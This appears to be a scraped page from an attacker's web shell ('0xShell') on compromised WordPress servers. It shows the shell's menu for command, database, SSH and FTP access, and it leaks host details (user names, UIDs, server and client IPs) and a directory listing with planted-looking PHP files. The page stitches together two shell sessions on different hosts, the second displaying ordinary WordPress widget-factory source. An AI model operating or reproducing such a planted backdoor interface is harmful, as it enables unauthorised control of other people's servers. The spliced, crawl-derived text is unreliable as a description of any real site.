0xShell Shell MySQL Netstat SMTP FTP SSH 未选择任何文件 Domain Upload file System Info: User: couragent | UID: 1022 | GID: 1024 | Groups: 1024 Server IP: 62.72.47.222 | Client IP: 23.145.24.71 PHP: 8.1.29 | OS: Linux | Server: LiteSpeed command /home/couragent/public_html$ Enter file path to read Files ../ � .htaccess � '0e 4e5 .tmb/ � .user.ini � '0e 4e5 .well-known/ � 123.php � '0e 4e5 cgi-bin/ � clasa99.php � '0e 4e5 error_log � '0e 4e5 evs.txt � '0e 4e5 home/ � index.php � 4e5 license.txt � '0e 4e5 op.php � '0e 4e5 php.ini � '0e 4e5 readme.html � '0e 4e5 robots.txt � '0e 4e5 wp-activate.php � '0e 4e5 wp-admin/ � wp-blog-header.php � '0e 4e5 wp-comments-post.php � '0e 4e5 wp-config-sample.php � '0e 4e5 wp-config.php � '0e 4e5 wp-content/ � wp-cron.php � '0e 4e5 wp-includes/ � wp-links-opml.php � '0e 4e5 wp-load.php � '0e 4e5 wp-login.php � '0e 4e5 wp-mail.php � '0e 4e5 wp-settings.php � '0e 4e5 wp-signup.php � '0e 4e5 wp-trackback.php � '0e 4e5 xmlrpc.php � '0e 4e5 Viewing: op.php 0xShell

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System Info:
User: jonasls | UID: 188156 | GID: 100 | Groups: 100
Server IP: 10.127.20.1 | Client IP: 216.73.216.28
PHP: 8.0.30 | OS: Linux | Server: Apache
/home/jonasls/www/wp-includes$

Files

Viewing: class-wp-widget-factory.php

<?php
/**
 * Widget API: WP_Widget_Factory class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Singleton that registers and instantiates WP_Widget classes.
 *
 * @since 2.8.0
 * @since 4.4.0 Moved to its own file from wp-includes/widgets.php
 */
#[AllowDynamicProperties]
class WP_Widget_Factory {

	/**
	 * Widgets array.
	 *
	 * @since 2.8.0
	 * @var array
	 */
	public $widgets = array();

	/**
	 * PHP5 constructor.
	 *
	 * @since 4.3.0
	 */
	public function __construct() {
		add_action( 'widgets_init', array( $this, '_register_widgets' ), 100 );
	}

	/**
	 * PHP4 constructor.
	 *
	 * @since 2.8.0
	 * @deprecated 4.3.0 Use __construct() instead.
	 *
	 * @see WP_Widget_Factory::__construct()
	 */
	public function WP_Widget_Factory() {
		_deprecated_constructor( 'WP_Widget_Factory', '4.3.0' );
		self::__construct();
	}

	/**
	 * Registers a widget subclass.
	 *
	 * @since 2.8.0
	 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
	 *              instead of simply a `WP_Widget` subclass name.
	 *
	 * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
	 */
	public function register( $widget ) {
		if ( $widget instanceof WP_Widget ) {
			$this->widgets[ spl_object_hash( $widget ) ] = $widget;
		} else {
			$this->widgets[ $widget ] = new $widget();
		}
	}

	/**
	 * Un-registers a widget subclass.
	 *
	 * @since 2.8.0
	 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
	 *              instead of simply a `WP_Widget` subclass name.
	 *
	 * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
	 */
	public function unregister( $widget ) {
		if ( $widget instanceof WP_Widget ) {
			unset( $this->widgets[ spl_object_hash( $widget ) ] );
		} else {
			unset( $this->widgets[ $widget ] );
		}
	}

	/**
	 * Serves as a utility method for adding widgets to the registered widgets global.
	 *
	 * @since 2.8.0
	 *
	 * @global array $wp_registered_widgets
	 */
	public function _register_widgets() {
		global $wp_registered_widgets;
		$keys       = array_keys( $this->widgets );
		$registered = array_keys( $wp_registered_widgets );
		$registered = array_map( '_get_widget_id_base', $registered );

		foreach ( $keys as $key ) {
			// Don't register new widget if old widget with the same id is already registered.
			if ( in_array( $this->widgets[ $key ]->id_base, $registered, true ) ) {
				unset( $this->widgets[ $key ] );
				continue;
			}

			$this->widgets[ $key ]->_register();
		}
	}

	/**
	 * Returns the registered WP_Widget object for the given widget type.
	 *
	 * @since 5.8.0
	 *
	 * @param string $id_base Widget type ID.
	 * @return WP_Widget|null
	 */
	public function get_widget_object( $id_base ) {
		$key = $this->get_widget_key( $id_base );
		if ( '' === $key ) {
			return null;
		}

		return $this->widgets[ $key ];
	}

	/**
	 * Returns the registered key for the given widget type.
	 *
	 * @since 5.8.0
	 *
	 * @param string $id_base Widget type ID.
	 * @return string
	 */
	public function get_widget_key( $id_base ) {
		foreach ( $this->widgets as $key => $widget_object ) {
			if ( $widget_object->id_base === $id_base ) {
				return $key;
			}
		}

		return '';
	}
}
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